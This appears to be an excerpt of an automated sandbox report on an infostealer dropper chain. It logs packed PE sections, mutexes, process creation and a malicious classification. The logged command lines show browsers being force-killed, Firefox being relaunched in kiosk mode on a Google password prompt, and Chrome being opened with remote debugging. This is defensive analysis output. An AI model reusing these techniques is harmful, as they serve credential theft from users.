Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B541D0	9_2_72B541D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B2AD00	9_2_72B2AD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_2_72B2E970	9_2_72B2E970

Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1228 -s 1224

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9977222411444142
Source: file.exe	Static PE information: Section: aokahsxj ZLIB complexity 0.9948221696248922
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9977222411444142
Source: skotes.exe.0.dr	Static PE information: Section: aokahsxj ZLIB complexity 0.9948221696248922
Source: 5468191780[1].exe.6.dr	Static PE information: Section: W{2/c ZLIB complexity 1.0003205224328215
Source: 5468191780.exe.6.dr	Static PE information: Section: W{2/c ZLIB complexity 1.0003205224328215
Source: random[1].exe.6.dr	Static PE information: Section: ZLIB complexity 0.9993084016393443
Source: random[1].exe.6.dr	Static PE information: Section: jvnpwyzl ZLIB complexity 0.9948260996254968
Source: f5d46eacf9.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9993084016393443
Source: f5d46eacf9.exe.6.dr	Static PE information: Section: jvnpwyzl ZLIB complexity 0.9948260996254968
Source: random[1].exe0.6.dr	Static PE information: Section: lfcefhqr ZLIB complexity 0.9947995965286236
Source: a0a3a50765.exe.6.dr	Static PE information: Section: lfcefhqr ZLIB complexity 0.9947995965286236
Source: random[2].exe.6.dr	Static PE information: Section: ivdotsri ZLIB complexity 0.9947326007656747
Source: 2096827834.exe.6.dr	Static PE information: Section: ivdotsri ZLIB complexity 0.9947326007656747
Source: DocumentsGIECFIEGDB.exe.15.dr	Static PE information: Section: ZLIB complexity 0.9977222411444142
Source: DocumentsGIECFIEGDB.exe.15.dr	Static PE information: Section: aokahsxj ZLIB complexity 0.9948221696248922
Source: random[3].exe.15.dr	Static PE information: Section: ZLIB complexity 0.9977222411444142
Source: random[3].exe.15.dr	Static PE information: Section: aokahsxj ZLIB complexity 0.9948221696248922

Source: random[1].exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: a0a3a50765.exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: f5d46eacf9.exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe0.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@125/78@122/24

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: 9_2_72B59030 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

9_2_72B59030

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\5468191780[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5356:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7648:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7576:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7848:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7912:64:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1396:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7904:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1228
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5088:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4168:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6384:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\RstrMgr3887CAB8-533F-4C85-B0DC-3E5639F8D511
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1312:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2844:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\RstrMgr-3887CAB8-533F-4C85-B0DC-3E5639F8D511-Session0000

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: aspnet_regiis.exe, 00000009.00000003.2458118755.0000000004EB0000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2630126947.0000000005B8E000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2607046461.0000000005B88000.00000004.00000800.00020000.00000000.sdmp, a0a3a50765.exe, 0000000F.00000003.2841910983.000000001DAD5000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2751645096.0000000005704000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2754027316.00000000056D5000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 55%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe "C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe"
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1228 -s 1224
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe "C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe "C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe "C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe "C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe"
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2288 --field-trial-handle=2040,i,12566554842792574168,10006094881574529848,262144 /prefetch:8
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2236 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e6924c53-5749-4633-8b3c-cd6df8f23a18} 6628 "\\.\pipe\gecko-crash-server-pipe.6628" 208fcf6d310 socket
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5244 --field-trial-handle=2040,i,12566554842792574168,10006094881574529848,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe "C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2796 -parentBuildID 20230927232528 -prefsHandle 4008 -prefMapHandle 4004 -prefsLen 26208 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {f7bbb670-2ca0-4c09-a2bf-8b2bb22caf88} 6628 "\\.\pipe\gecko-crash-server-pipe.6628" 2088d1b6e10 rdd
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe "C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe "C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe"
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2312 -parentBuildID 20230927232528 -prefsHandle 2248 -prefMapHandle 2240 -prefsLen 25416 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d661e13d-5d6b-45c4-a255-7549bd7ee9b7} 8000 "\\.\pipe\gecko-crash-server-pipe.8000" 1fd7236d710 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe "C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe"
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f5d46eacf9.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1824 --field-trial-handle=2012,i,11153109212737079239,13251433819729760146,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe "C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe"
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f5d46eacf9.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=1964,i,9859859316029743068,17150694604793009132,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe "C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe "C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe "C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe "C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe "C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe "C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f5d46eacf9.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f5d46eacf9.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2236 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e6924c53-5749-4633-8b3c-cd6df8f23a18} 6628 "\\.\pipe\gecko-crash-server-pipe.6628" 208fcf6d310 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2796 -parentBuildID 20230927232528 -prefsHandle 4008 -prefMapHandle 4004 -prefsLen 26208 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {f7bbb670-2ca0-4c09-a2bf-8b2bb22caf88} 6628 "\\.\pipe\gecko-crash-server-pipe.6628" 2088d1b6e10 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2288 --field-trial-handle=2040,i,12566554842792574168,10006094881574529848,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
